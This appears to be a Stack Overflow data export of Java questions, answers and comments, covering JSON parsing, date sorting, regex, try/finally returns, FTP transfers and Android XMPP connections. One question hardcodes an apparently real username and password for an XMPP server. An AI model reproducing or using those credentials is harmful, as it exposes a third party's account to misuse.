accepted answer: http://stackoverflow.com/a/22276055
upvote count: 1
possible better answer: http://stackoverflow.com/a/22865528
type: Question
has answer: http://stackoverflow.com/a/22865528
has comment: http://stackoverflow.com/comment/34909470
score: 1
tagged with: java
tagged with: http://stackoverflow.com/tag/json
has title: App Engine with JSON (Jersey)
tagged with: gson
answer count: 3
tagged with: jersey
downvote count: 0

http://stackoverflow.com/comment/33703441
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22173279
has text: Sorry.. New to this forum ( I mean actually asking questions). You mean I should write code? I work in a security company and my only access to the internet is through my mobile and it will bee quite hard to write code with the android keyboard....

http://stackoverflow.com/a/22291020
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22290941
answers question: http://stackoverflow.com/q/22290941
type: AcceptedAnswer
type: Answer
has body: public ArrayList&lt;Worker&gt; listOfWorkers() { List&lt;Worker&gt; list=new ArrayList&lt;Worker&gt;(); try { File ifile = new File("worker.txt"); Scanner scan = new Scanner(ifile); while (scan.hasNextLine()) { // no change if (jobType == Jobs.ELECTRICAL_ENGINEER || jobType == Jobs.MECHANICAL_ENGINEER) { // no change Worker eng = new Engineer(name,social,years,jobType,weeklyBen); list.add(eng); } else if() { //do same as above for other workers } } return list; }
score: 1
upvote count: 1

http://stackoverflow.com/q/22172021
has comment: http://stackoverflow.com/comment/33682684
score: 0
tagged with: http://stackoverflow.com/tag/pdf
has comment: http://stackoverflow.com/comment/33651747
answer count: 0
has title: Event Handling in a PDF form
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33655702
type: Question
has comment: http://stackoverflow.com/comment/33679731
tagged with: java
has comment: http://stackoverflow.com/comment/33682086
has comment: http://stackoverflow.com/comment/33651930
has comment: http://stackoverflow.com/comment/33683710
has body: I want to handle keystroke events in a existing editable PDF form using java. I tried to do this with PDFBox and still unable to achieve the target. Is there any other java related API that have capability to handle such events in PDF form fields? edit: In my case I want to handle events in AcroForm using Java. (PDF viewer: JPDFviwer)

http://stackoverflow.com/a/22322714
accepted answer of: http://stackoverflow.com/q/22322532
has body: Default values of class variables.: So, you need to initialize conto. So that it is not null. If you have not written constructor in game class. Do it by calling default constructor like : private game conto = new game();
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/22322532

http://stackoverflow.com/comment/33712454
type: AnswerComment
score: 0
type: Comment
has text: @user3317808: The smallest correct change is adding the `WindowListener`; [converting]() to Swing would involve at least replacing `Canvas`, fixing [*Initial Threads*](http://docs.oracle.com/javase/tutorial/uiswing/concurrency/initial.html) and eliminating `getGraphics()`. Your attempt might be a good question on Code Review](http://codereview.stackexchange.com/questions).
comment on: http://stackoverflow.com/a/22199965

http://stackoverflow.com/comment/33755656
comment on: http://stackoverflow.com/a/22230456
score: 0
type: AnswerComment
type: Comment
has text: @MxyL That is called `vararg`.

http://stackoverflow.com/q/22217638
has comment: http://stackoverflow.com/comment/33733227
has comment: http://stackoverflow.com/comment/33763868
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33733640
has title: How to sort a 2-d array based upon column of dates in ascending order
has comment: http://stackoverflow.com/comment/33733607
has body: import java.util.Comparator; import java.util.Date; //Class that returns a string columnn in ascending order public class DateCompare implements Comparator { int columnToSort; DateCompare(int columnToSort) { this.columnToSort = columnToSort; } //overriding compare method public int compare(Object o1, Object o2) { Date[] row1 = (Date[]) o1; Date[] row2 = (Date[]) o2; //compare the columns to sort return row1[columnToSort].compareTo(row2[columnToSort]); } } My 2-D array stores phone names and their Dates of manufacture. Friends,I have made a class named DateCompare that sorts 2-D array of records based upon column that stores dates. This is not giving the desired output.Can anyone rectify this or give a better substitute solution because i couldn't find a clear answer on any site? Thanks in advance!!! input(for example): Samsung 01/01/2014 iphone 09/02/2006 Motorola 16/06/2009 Output: iphone 09/02/2006 Motorola 16/06/2009 Samsung 01/01/2014
has comment: http://stackoverflow.com/comment/33734191
tagged with: java
has comment: http://stackoverflow.com/comment/33733657
has comment: http://stackoverflow.com/comment/33733185
has comment: http://stackoverflow.com/comment/33733556
tagged with: date-sorting
has comment: http://stackoverflow.com/comment/33733135
type: Question
has comment: http://stackoverflow.com/comment/33733294
score: 0
tagged with: comparator
has answer: http://stackoverflow.com/a/22217820
answer count: 1

http://stackoverflow.com/q/22271469
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33832328
tagged with: floating-point
accepted answer: http://stackoverflow.com/a/22723587
type: Question
has comment: http://stackoverflow.com/comment/33832370
tagged with: java
tagged with: bigdecimal
has comment: http://stackoverflow.com/comment/33830429
has answer: http://stackoverflow.com/a/22723587
score: 0
has body: I want to validate that a float or Double has minimum 5 numbers after decimal points.This is the code I have written private boolean invalidDecimalPrecision(Double point) { int decimalPrecision = BigDecimal.valueOf(point).scale(); return !(decimalPrecision &gt;= 5); } Is it good enough or do I have to handle specific case of negative scale numbers as well
has comment: http://stackoverflow.com/comment/33833104
answer count: 1
has comment: http://stackoverflow.com/comment/33835107
has title: Check decimal precision of Floating points

http://stackoverflow.com/a/22171351
has comment: http://stackoverflow.com/comment/33650528
type: Answer
has comment: http://stackoverflow.com/comment/33649917
has comment: http://stackoverflow.com/comment/33650255
score: 2
upvote count: 3
downvote count: 1
has comment: http://stackoverflow.com/comment/33649862
has body: Looks like the EditText (R.id.etGuessNum) doesn't have a value in it. You should sanitize your input to avoid null references. I would also advise you check to see the value that they have entered is a valid number. I would also have a quick read through naming conventions for Java.
answers question: http://stackoverflow.com/q/22171184

http://stackoverflow.com/q/22225167
has body: This question is continuation of my previous question though i have managed to remove the NetworkOnMainThreadError, now i have new errors to fight with, Previous question can be found here: XMPP and ANDROID This time i guess the probelm is with my host name, or may be service name, i am trying to connect to openFire server. By the way do i need to add public class SettingsDialog extends Dialog into Menifest file My code for connection: /** * Gather the xmpp settings and create an XMPPConnection */ public class SettingsDialog extends Dialog implements android.view.View.OnClickListener { private XMPPClient xmppClient; public SettingsDialog(XMPPClient xmppClient) { super(xmppClient); this.xmppClient = xmppClient; } protected void onStart() { super.onStart(); setContentView(R.layout.settings); getWindow().setFlags(4, 4); setTitle("XMPP Settings"); Button ok = (Button) findViewById(R.id.ok); ok.setOnClickListener(this); } public void onClick(View v) { new NetworkOperation().execute(); dismiss(); } Async Task public class NetworkOperation extends AsyncTask&lt;String, Void, String&gt; { private XMPPClient xmppClient; @Override protected String doInBackground(String... urls) { String host = "web.vlivetech.com"; //getText(R.id.host); String port = "5222"; //getText(R.id.port); String service = "web.vlivetech.com"; //getText(R.id.service); String username = "khubaib@web.vlivetech.com"; //getText(R.id.userid); String password = "khubaib"; //getText(R.id.password); // Create a connection ConnectionConfiguration connConfig = new ConnectionConfiguration(host, Integer.parseInt(port),service); XMPPConnection connection = new XMPPConnection(connConfig); try { connection.connect(); Log.i("XMPPClient", "[SettingsDialog] Connected to " + connection.getHost()); } catch (XMPPException ex) { Log.e("XMPPClient", "[SettingsDialog] Failed to connect to " + connection.getHost()); xmppClient.setConnection(null); } try { connection.login(username, password); Log.i("XMPPClient", "Logged in as " …
upvote count: 1
has comment: http://stackoverflow.com/comment/33745737
type: Question
score: 1
tagged with: java
linked to: http://stackoverflow.com/q/22223022
has comment: http://stackoverflow.com/comment/33745838
has answer: http://stackoverflow.com/a/23713026
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33745775
favorite count: 0
tagged with: xmppframework
tagged with: android
tagged with: xmpp
has answer: http://stackoverflow.com/a/22225251
has title: XMPP and Android Part-2
tagged with: asmack
type: UnansweredQuestion

http://stackoverflow.com/a/22319544
has comment: http://stackoverflow.com/comment/33916945
has comment: http://stackoverflow.com/comment/33917013
type: Answer
has comment: http://stackoverflow.com/comment/33918239
has comment: http://stackoverflow.com/comment/33916903
has comment: http://stackoverflow.com/comment/33917067
answers question: http://stackoverflow.com/q/22319339
score: 4
upvote count: 4
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22319339
has body: It should work like this: "(?:\\.|[^"])+" without lookahead/behind stuff. This does the following: Look for a ", consume it Check if the next 2 characters are a backslash followed by any character (this will match two backslashes \\, where the first is masking the second, and \" as well). If that can not be found, go to Step 3. If found, consume those 2 characters and repeat Step 2. Check if the next character is not a ". If so, consume and go to step 2. If not (it IS a "), go to Step 4 Consume the " which must be here As HamZa pointed out, this Regex will fail if a " is found outside of a string and not intended to be a start of a string. E.g. for Java Code this is the case if you have something like Character c = '\"' (" as a char) or if (foo) { /* chosen "sometimes */ String g = "bar"; } (random " inside a comment)
has comment: http://stackoverflow.com/comment/33917163

http://stackoverflow.com/a/22275231
upvote count: 3
answers question: http://stackoverflow.com/q/22275068
score: 3
has body: Trying to calculate each digit of BigInteger using mod is not very efficient, because of many method calls you are doing in the process. Instead you can simplify by doing the conversion to String and getting each digit straight away. BigInteger big = BigInteger.valueOf(2).pow(1000); String digits = big.toString(); int sum = 0; for(int i = 0; i &lt; digits.length(); i++) { int digit = (int) (digits.charAt(i) - '0'); sum = sum + digit; } System.out.println(sum);
has comment: http://stackoverflow.com/comment/33837899
downvote count: 0
has comment: http://stackoverflow.com/comment/33838016
type: Answer
has comment: http://stackoverflow.com/comment/33837650

http://stackoverflow.com/comment/33800055
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22254618
score: 1
has text: The second one will give you a warning as you have not specified the type held in the map. Keep in mind, the way generics were implemented in Java, the type safety is lost at runtime. In essence, it's just a hint to the compiler to keep you from doing something dumb, but it doesn't prevent it from happening.

http://stackoverflow.com/a/22235467
score: 2
accepted answer of: http://stackoverflow.com/q/22234465
downvote count: 0
has comment: http://stackoverflow.com/comment/33769605
has comment: http://stackoverflow.com/comment/33771450
answers question: http://stackoverflow.com/q/22234465
has comment: http://stackoverflow.com/comment/33771283
has comment: http://stackoverflow.com/comment/33782275
has body: Loading 30.000 row should run in a few seconds as maximum. You're still using the wrong connection string, there's no support for the FastLoad protocol in ODBC, TYPE=FASTLOAD is probably silently ignored. What's the Primary Index of the Transactions table? A bad PI plus a SET table might result in slow loading.
upvote count: 2
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33767916
type: Answer

http://stackoverflow.com/a/22287931
answers question: http://stackoverflow.com/q/22287765
downvote count: 0
has comment: http://stackoverflow.com/comment/33882121
has body: You only show the code that creates the SimpleDateFormat, so apparently you are sure the problem is in there? Debugging date/time/timezone/daylight savings related problems can be very difficult because it is very hard to 'see' the actual date; when you inspect it the Date's toString method will do some timezone conversion of it's own (based on current locale). So I find it most easy to convert all input to UTC and then print it out in UTC locale. Anyway, you say 'ET' does not work? I have little experience with it, but if you look at the docs for TimeZone you should be able to come up with an algortithm o print out all timezones installed on your system. If EST differs from ET (does it?) then this will never work. You need to figure out the names Java has assigned to the ET timezone and use those to create the date formatter. The trick is to parse the input (which is in locale X) using a date formatter for locale X and then use the Date (which is always in UTC, so timezone-neutral so to say) in your calculations. Then only go back to timezone X or Y for output by using a date format with the correct locale again.
score: 1
has comment: http://stackoverflow.com/comment/33860814
has comment: http://stackoverflow.com/comment/33868680
has comment: http://stackoverflow.com/comment/33860724
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33861288
has comment: http://stackoverflow.com/comment/33861030
type: Answer
accepted answer of: http://stackoverflow.com/q/22287765

http://stackoverflow.com/q/22290449
accepted answer: http://stackoverflow.com/a/22290590
answer count: 1
downvote count: 0
favorite count: 0
tagged with: hebrew
tagged with: utf-8
has comment: http://stackoverflow.com/comment/33865377
score: 2
type: AnsweredQuestion
tagged with: tokenize
upvote count: 2
tagged with: java
type: Question
has body: I'm having a problem reading UTF-8 characters in my code (running on Eclipse). I have a file text which has a few lines in it, for example: אך 1234 NOTE: There is a \t before the word, and the word should appear on the left, the number on the right... I don't know how to reverse them here, sorry. That is, a Hebrew word and then a number. I need to separate the word from the number somehow. I tried this: BufferedReader br = new BufferedReader(new FileReader(text)); String content; while ((content = br.readLine()) != null) { String delims = "[ ]+"; String[] tokens = content.split(delims); } The problem is that for some reason, the code reads content (the first line in the file) as follows: אך\t1234 ...meaning that the space isn't in its correct place. I suppose I could tokenize the text using the \t, but I'm not sure I should do it, as the file isn't being read correctly... Does anyone have any idea why this happens? Thanks so much :-)
has title: Java code reads UTF-8 text incorrectly
has answer: http://stackoverflow.com/a/22290590
has comment: http://stackoverflow.com/comment/33865433

http://stackoverflow.com/a/22266280
answers question: http://stackoverflow.com/q/22266142
has body: Ok, it was actually rather simple. double dbl = 1.45e-6; DecimalFormat df = new DecimalFormat("#.########"); System.out.println(df.format(dbl)); outputs : 0.00000145
upvote count: 1
type: Answer
downvote count: 0
score: 1

http://stackoverflow.com/comment/33718976
score: 0
type: AnswerComment
has text: Thanks for the response. I tried this out, but the problem is that I don't have access to Entry since it's not a public variable in HashMap. I can get the list of keys using keySet(), but then I don't know how to do individual get() operations on the keys since there seems to be some problem with the variable type.
type: Comment
comment on: http://stackoverflow.com/a/22208650

http://stackoverflow.com/q/22285222
type: AnsweredQuestion
has body: Hello i have 2 diffrent arraylist of which both contain data in hashmap format (key value pairs). Now i need to combine those 2 list's into a single one while maintaining the order from both list ( so the reference elements from both list at position[0] should stay one to another in the new list). I need this to show those information in a listview but so far i only managed to merge the two but the order wasn't right (the first list would take the first half of the new one while the references from the second one would come after). Hope someone can help me :)
tagged with: java
possible better answer: http://stackoverflow.com/a/22285587
has comment: http://stackoverflow.com/comment/33855828
type: Question
tagged with: hashmap
has comment: http://stackoverflow.com/comment/33855709
has answer: http://stackoverflow.com/a/22285587
tagged with: arraylist
score: 0
answer count: 2
accepted answer: http://stackoverflow.com/a/22285499
tagged with: android
has title: Combining arraylist's that contain hashmaps
tagged with: merging-data
has answer: http://stackoverflow.com/a/22285499

http://stackoverflow.com/comment/33878590
type: QuestionComment
has text: another thing that I found out, that helped me a little bit is that the order in fxml file matters for the BorderPane. So if I put center first then the other things will be on top. It's not the perfect fix, but for now works. This still doesn't make my elements "captive" in middle. Through "captive" I mean that the elements are visible in the center region and when I try to drag them out from this they are stuck in the center. Hope this is clear!
score: 0
comment on: http://stackoverflow.com/q/22276711
type: Comment

http://stackoverflow.com/comment/33715351
type: QuestionComment
has text: But the question is not about array construction. It is about array *access*.
comment on: http://stackoverflow.com/q/22207548
type: Comment
score: 0

http://stackoverflow.com/a/22229504
has comment: http://stackoverflow.com/comment/33754792
answers question: http://stackoverflow.com/q/22208961
has comment: http://stackoverflow.com/comment/33755388
score: 0
has body: Make dialogLayout a RelativeLayout, and then declare buttonParams as a RelativeLayout.LayoutParams (layout params are declared according the parent viewgroup type, which for buyButton is now a RelativeLayout). Your also going to need to declare a RelativeLayout.LayoutParams for scrollView. note: This code is in c#/monodroid, not raw java/android, so some quick porting of some of the methods and constants may need to be required, but shouldn't be too time consuming. If this doesn't work out exactly trying experimenting with other combinations of the RelativeLayout position rules and/or gravity. Let me know if it doesn't work out. RelativeLayout.LayoutParams scrollParams = new RelativeLayout.LayoutParams(LayoutParams.WRAP_CONTENT, some_height); RelativeLayout.LayoutParams buttonParams = new RelativeLayout.LayoutParams(LayoutParams.MATCH_PARENT, 100); Then, add these statements to control where scrollView and buyButton are positioned scrollParams.AddRule(LayoutRules.AlignParentLeft); scrollParams.AddRule(LayoutRules.AlignParentTop); buttonParams.AddRule(LayoutRules.Below, scrollView.Id); The for the getting the button on the bottom of the screen, try one of two things buttonParams.AddRule(LayoutRules.AlignParentBottom); or buyButton.Gravity = Gravity.BOTTOM
type: Answer
has comment: http://stackoverflow.com/comment/33754670

http://stackoverflow.com/comment/33842626
has text: Given we don't know the nature of the HTML being captured, I figured we'd err on the side of caution rather than holding true to style brevity. Thanks.
type: Comment
score: 1
comment on: http://stackoverflow.com/a/22277858
type: AnswerComment

http://stackoverflow.com/q/22198720
has answer: http://stackoverflow.com/a/22198877
favorite count: 0
answer count: 9
possible better answer: http://stackoverflow.com/a/22198807
linked to: http://stackoverflow.com/q/5701793
has answer: http://stackoverflow.com/a/22198807
has answer: http://stackoverflow.com/a/22199183
has answer: http://stackoverflow.com/a/22198881
accepted answer: http://stackoverflow.com/a/22199183
has answer: http://stackoverflow.com/a/22198888
type: AnsweredQuestion
duplicate of: http://stackoverflow.com/q/5701793
tagged with: java
has answer: http://stackoverflow.com/a/22198850
score: 6
has answer: http://stackoverflow.com/a/22198884
type: Question
tagged with: try-catch
has answer: http://stackoverflow.com/a/22198844
has title: amazing output for try/catch/finally?
linked to: http://stackoverflow.com/q/4185340
has comment: http://stackoverflow.com/comment/33698561
has comment: http://stackoverflow.com/comment/33698573
has comment: http://stackoverflow.com/comment/33809064
has body: I run this code : public static void main(String[] args) { System.out.println(catcher()); } private static int catcher() { try { System.out.println("TRY"); thrower(); return 1; } catch (Exception e) { System.out.println("CATCH"); return 2; } finally { System.out.println("FINALLY"); return 3; } } private static void thrower() { throw new RuntimeException(); } and I expect to see this at output: TRY CATCH FINALLY 2 but surprisingly the output is: TRY CATCH FINALLY 3 I'm confused. where goes return 2 statement? Is return at finally a bad-practice?
upvote count: 7
downvote count: 1
has comment: http://stackoverflow.com/comment/92518621
has answer: http://stackoverflow.com/a/22198988

http://stackoverflow.com/a/22223854
has comment: http://stackoverflow.com/comment/33882215
has comment: http://stackoverflow.com/comment/33881559
has comment: http://stackoverflow.com/comment/33912423
has comment: http://stackoverflow.com/comment/33881678
has comment: http://stackoverflow.com/comment/33881356
has comment: http://stackoverflow.com/comment/33758460
has comment: http://stackoverflow.com/comment/33881596
score: 0
has comment: http://stackoverflow.com/comment/33881750
has comment: http://stackoverflow.com/comment/33881232
answers question: http://stackoverflow.com/q/22223497
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33773583
has comment: http://stackoverflow.com/comment/33881263
has body: You can use one class Question with this structure: class Question{ String id; String qtext; String opt1; String opt2; String opt3; String opt4; String opt5; public Question (id, ques, opt1, opt2, opt3, opt4, opt5){ this.id = id; this.qtext = ques; this.opt1 = opt1; this.opt2 = opt2; this.opt3 = opt3; this.opt4 = opt4; this.opt5 = opt5; } } Parse your response data to class as: List&lt;Question&gt; queList = new ArrayList&lt;Question&gt;(); JSONArray jArray = new JSONArray(responseString); int n = jArray.length(); for (int i = 0; i &lt; n; i++) { // GET INDIVIDUAL JSON OBJECT FROM JSON ARRAY JSONObject jo = jArray.getJSONObject(i); // RETRIEVE EACH JSON OBJECT'S FIELDS String id = jo.getString("id"); String qtext = jo.getString("qtext"); String opt1 = jo.getString("option1"); String opt2 = jo.getString("option2"); String opt3 = jo.getString("option3"); String opt4 = jo.getString("option4"); String opt5 = jo.getString("option5"); Question que = new Question(id, qtext, opt1, opt2, opt3, opt4, opt5); queList.add(que); } So you can use it from list after parsing. Hope this helps.
has comment: http://stackoverflow.com/comment/33744301
accepted answer of: http://stackoverflow.com/q/22223497
has comment: http://stackoverflow.com/comment/33868847
has comment: http://stackoverflow.com/comment/33744233
type: Answer

http://stackoverflow.com/comment/33895382
type: QuestionComment
comment on: http://stackoverflow.com/q/22307024
score: 0
has text: You are creating two objects so both will have different states. Setting values in one can't be obtained by other
type: Comment

http://stackoverflow.com/comment/33893344
type: AnswerComment
score: 0
has text: this works thanks a lot. only problem is it counts just one line, and i want to count words in only lines that contains #AVFC jus like my code. any help with this please?
type: Comment
comment on: http://stackoverflow.com/a/22305504

http://stackoverflow.com/comment/33765912
has text: It's not that their not lining up I don't think, it's that it isn't recognizing that something like node3 has it's own class that gets attributed to it, so I can't access values like innerNode1.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22235569

http://stackoverflow.com/comment/33925458
has text: it requires min API level 10, is there anything available from API 8? Thanks for your answer.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22324540

http://stackoverflow.com/comment/33839682
type: Comment
has text: But you just said above if you have "hello" and "hi" then `!("hello".equals("hi"))` is coming out of the loop. Expanded, that's `!(false)` which is `true`. If the other half of the condition at this point is `false`, you'll exit.
type: QuestionComment
comment on: http://stackoverflow.com/q/22276194
score: 0

http://stackoverflow.com/q/22176722
favorite count: 0
tagged with: ftp
has comment: http://stackoverflow.com/comment/33695164
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22180177
has comment: http://stackoverflow.com/comment/33705272
has comment: http://stackoverflow.com/comment/33687098
tagged with: java
has title: Commons-net: How to send a file over FTP using ASCII without changing LF to CRLF
upvote count: 1
type: Question
tagged with: apache-commons-net
tagged with: newline
has comment: http://stackoverflow.com/comment/33694713
tagged with: ascii
has body: I need to send a file over FTP (I'm using commons-net Java library) using ASCII mode (can't use Binary mode because the host uses a different way of storing data), but I need the LF characters to stay as LF and not to be transformed to CRLF. Indeed I need LF to stay as LF and CRLF to stay as CRLF. So far I couldn't find a way of doing this. If there is no way of doing this with commons-net but someone knows how to do it with a different library would be appreciated Thank you all for your responses. See you Solution Finally I had to change to the ftp4j library, which works as I wanted out of the box.
has comment: http://stackoverflow.com/comment/33666018
has comment: http://stackoverflow.com/comment/33694867
answer count: 1
downvote count: 0
score: 1

http://stackoverflow.com/a/26155171
has body: I added bean-validator.jar and now works.
answers question: http://stackoverflow.com/q/22231536
score: 0
type: Answer

http://stackoverflow.com/a/22299588
has body: It shows that you forget to declare com.org.search.test.MyTestClassName in your manifest file. Make sure you have regiestered your MyTestClassName activity in your manifest file as below: &lt;activity android:name=".MyTestClassName" android:label="@string/basic_map" /&gt;
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/33881516
has comment: http://stackoverflow.com/comment/33886237
answers question: http://stackoverflow.com/q/22299519

http://stackoverflow.com/comment/33774466
score: 0
comment on: http://stackoverflow.com/q/22240043
type: Comment
has text: What exactly do you mean by serialize it? I can extend Serializable. But then what?
type: QuestionComment

http://stackoverflow.com/a/22187419
has body: Another thought using a stack. psuedo code: push starting point to path stack lastStepValid = true while (stack is not empty &amp;&amp; goal not found) { lastStep = peek the top of path stack if (lastStep == goal) { goal found = true } else if (not lastStepValid) { leave last step poped if (path stack is not empty) { pop path stack lastStepValid = true if (lastStep is UP of top of path stack) { push RIGHT of top of path stack to path stack } else if (lastStep is RIGHT of top of path stack) { push DOWN of top of path stack to path stack } else if (lastStep is DOWN of top of path stack) { push LEFT of top of path stack to path stack } else { lastStepValid = false } } } else if (lastStep is wall || lastStep exists more than once in the stack) { lastStepValid = false; } else { // last step is valid push the UP of lastStep to path stack } } in brief, you have a stack to store the path you have walked, and try every step in the sequence of up, right, down left. This approach doesn't require you to flag cells in the maze.
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/22186290
upvote count: 1

http://stackoverflow.com/q/22264949
has comment: http://stackoverflow.com/comment/33819690
tagged with: get
has comment: http://stackoverflow.com/comment/33819475
downvote count: 2
has comment: http://stackoverflow.com/comment/33819978
answer count: 1
favorite count: 0
has title: I set the value of a variable but when I use get the parameter is null
has body: Just want to ask what could be the problem with my java program. I set the value of "id" variable in a particular class in my java program and I printed the value of the variable to make sure it has been set. I used a script to run a class in the same java program and then get the value of "id" but it returned null. What could be the problem of my code? Thanks! So I made the ChargeParamData a singleton class which is then accessed by ChargeFacade to set/get data. The script that I created will call the notifyAuthenticationStatus of the Chargefacade class. But when it is called pluginId is null. This is the get/set class public class ChargeParamData { private static final ChargeParamData instance = new ChargeParamData(); /** * Returns the instance of the class * * @return instance of the class */ public static ChargeParamData getInstance() { return instance; } /** * Constructor * */ private ChargeParamData() { } //for PluginId private static String pluginId; public static void setPluginId(String id) { pluginId = id; System.out.println("pluginId to set for Charge is " + pluginId); } public static String getPluginId() { System.out.println("pluginId to get for console test is " + pluginId); return pluginId; } } This is the code that uses the class: public final class ChargeFacade { private static ChargeParamData chargeParam = ChargeParamData.getInstance(); public static void chargePluginInit() { String pid = null; PluginDescriptor[] pdList = sample.listPlugin(); pid = pdList[0].getId(); createContext(pid); } private static void createContext(String pluginId) { chargeParam.setPluginId(pluginId); logger.info("Charge Service created for " + pluginId); } public static String notifyAuthenticationStatus(AuthenticationStatus authStat) throws DispatcherException { String pluginId = chargeParam.getPluginId(); // &lt;-- this part is null try { JSONObject json = new JSONObject(); authStat.putInto(json); retVal = sample.callFunction(pluginId, "notifyAuthenticationStatus", json.toSt…
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33819571
has comment: http://stackoverflow.com/comment/33819589
upvote count: 0
tagged with: java
has comment: http://stackoverflow.com/comment/33819634
has comment: http://stackoverflow.com/comment/33819639
type: Question
has answer: http://stackoverflow.com/a/22265120
has comment: http://stackoverflow.com/comment/33819522
has comment: http://stackoverflow.com/comment/33819551
has comment: http://stackoverflow.com/comment/33819720
score: -2

http://stackoverflow.com/q/22282994
downvote count: 0
has answer: http://stackoverflow.com/a/22283064
tagged with: java
tagged with: date
type: Question
upvote count: 2
has body: How can I parse the following String "1394133302" which correspond of Date.toString value to a Date value (java utils). Is it possible with a SimpleDateFormat?
has answer: http://stackoverflow.com/a/22283091
accepted answer: http://stackoverflow.com/a/22283091
has comment: http://stackoverflow.com/comment/33851415
has title: Converting String to Date
answer count: 3
tagged with: parsing
favorite count: 0
possible better answer: http://stackoverflow.com/a/22283064
has answer: http://stackoverflow.com/a/22283061
type: AnsweredQuestion
score: 2

http://stackoverflow.com/q/22195412
accepted answer: http://stackoverflow.com/a/22196092
type: AnsweredQuestion
tagged with: math
tagged with: java
has body: I'm trying to calculate MACD and RSI formula in groovy. Regarding MACD, I've calculated up to MACD line but not able to calculate Signal line. Also does anyone have idea how to calculate RSI in groovy ? I know the RSI formula, RSI = 100 - 100/(1+RS) and RS = Avg Gain/ Avg Loss But how to calculate Avg Gain and Avg Loss ? Can anyone explain with exact calculations ?
has answer: http://stackoverflow.com/a/22196092
tagged with: grails
type: Question
tagged with: stocks
answer count: 1
score: 0
tagged with: groovy
has title: Calculate MACD and RSI in grails

http://stackoverflow.com/comment/33854765
type: Comment
has text: shahrooz..I have tried AMI commands using Telnet but I am not getting how should I do that from the Android application?
comment on: http://stackoverflow.com/a/22264959
score: 0
type: AnswerComment

http://stackoverflow.com/a/22335563
answers question: http://stackoverflow.com/q/22250303
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22250303
has comment: http://stackoverflow.com/comment/69664535
type: AcceptedAnswer
upvote count: 14
type: Answer
has comment: http://stackoverflow.com/comment/93275770
has body: Take a look at Java Mission Control in conjunction with Flight Recorder. Starting with the release of Oracle JDK 7 Update 40 (7u40), Java Mission Control is bundled with the HotSpot JVM, so it is highly integrated and purports to have small effects on run-time performance. I have only just started looking at it, and I do see some call tree functionality.
score: 14

http://stackoverflow.com/a/22257371
has body: You are not creating even single HashMap. You create an array for 50 HashMaps. By default it contains 50 nulls, it must contain 50 new HashMap objects. Also, write String[2][50][1000] instead of String[50][1000][2] to not waste the memory. Explanation.
answers question: http://stackoverflow.com/q/22257306
score: 0
type: Answer

http://stackoverflow.com/comment/33785122
type: Comment
has text: I wanted to have a bidirectional association. An additional requirement is that there might be no join partner for each store.
score: 0
comment on: http://stackoverflow.com/q/22246105
type: QuestionComment

http://stackoverflow.com/q/22311250
upvote count: 1
downvote count: 1
type: AnsweredQuestion
has title: How can I make my scala function faster?
tagged with: java
has comment: http://stackoverflow.com/comment/33902873
has body: I made isSorted function in both Scala and Java. When I measured the execution time of both the functions, I saw that the Scala version was very slow. It ran about 3.2 sec for 10000 Int but Java version just ran about 10 ms!!! How can I make faster my scala version? These were the implementation : Scala: def main(args: Array[String]) ={ println(isSorted(getArray, (x:Int,y:Int) =&gt; x&lt;y )) } def isSorted[A](items : Array[A], cond: (A,A) =&gt; Boolean) : Boolean = items match{ case Array(_) =&gt; true case Array(x,y) =&gt;cond(x,y) case Array(_*) =&gt; cond(items(0),items(1)) &amp;&amp; isSorted(items tail,cond) } Java: public static void main(String... args){ Sorter&lt;Integer&gt; sorter=new Sorter&lt;Integer&gt;(); System.out.println(sorter.isSorted(sorter.getList(),new Comparator&lt;Integer&gt;() { @Override public int compare(Integer o1, Integer o2) { return o2.compareTo(o1); } })); } public boolean isSorted(List&lt;A&gt; items, Comparator&lt;A&gt; cond){ for(int i=1;i&lt;items.size();i++){ if(cond.compare(items.get(i-1), items.get(i)) &lt; 0){ return false; } } return true; } Any suggestion? I know this is a weird code :) I would like to use Scala but this bad performance scared me!
type: Question
has answer: http://stackoverflow.com/a/22323824
has comment: http://stackoverflow.com/comment/33902830
favorite count: 0
has answer: http://stackoverflow.com/a/22312649
score: 0
possible better answer: http://stackoverflow.com/a/22327764
answer count: 5
has comment: http://stackoverflow.com/comment/33902871
has answer: http://stackoverflow.com/a/22327764
has answer: http://stackoverflow.com/a/22325968
has answer: http://stackoverflow.com/a/22312898
tagged with: scala
accepted answer: http://stackoverflow.com/a/22312898

http://stackoverflow.com/a/22293139
downvote count: 0
type: Answer
has body: The responsibility would fall to the TableCellRenderer, so you'd have to set the border up in the renderers. You would also have to turn off the grid drawing, using JTable#setShowGrid
has comment: http://stackoverflow.com/comment/33870019
upvote count: 2
answers question: http://stackoverflow.com/q/22291599
score: 2

http://stackoverflow.com/a/22257974
has comment: http://stackoverflow.com/comment/70765526
score: 0
answers question: http://stackoverflow.com/q/22257598
has body: You should consider using the Apache Lucene API It provides functionality for indexing files and removing stopwords, stemming tokens, search, and document similarity based on LSA
type: Answer

http://stackoverflow.com/q/22173134
tagged with: crash
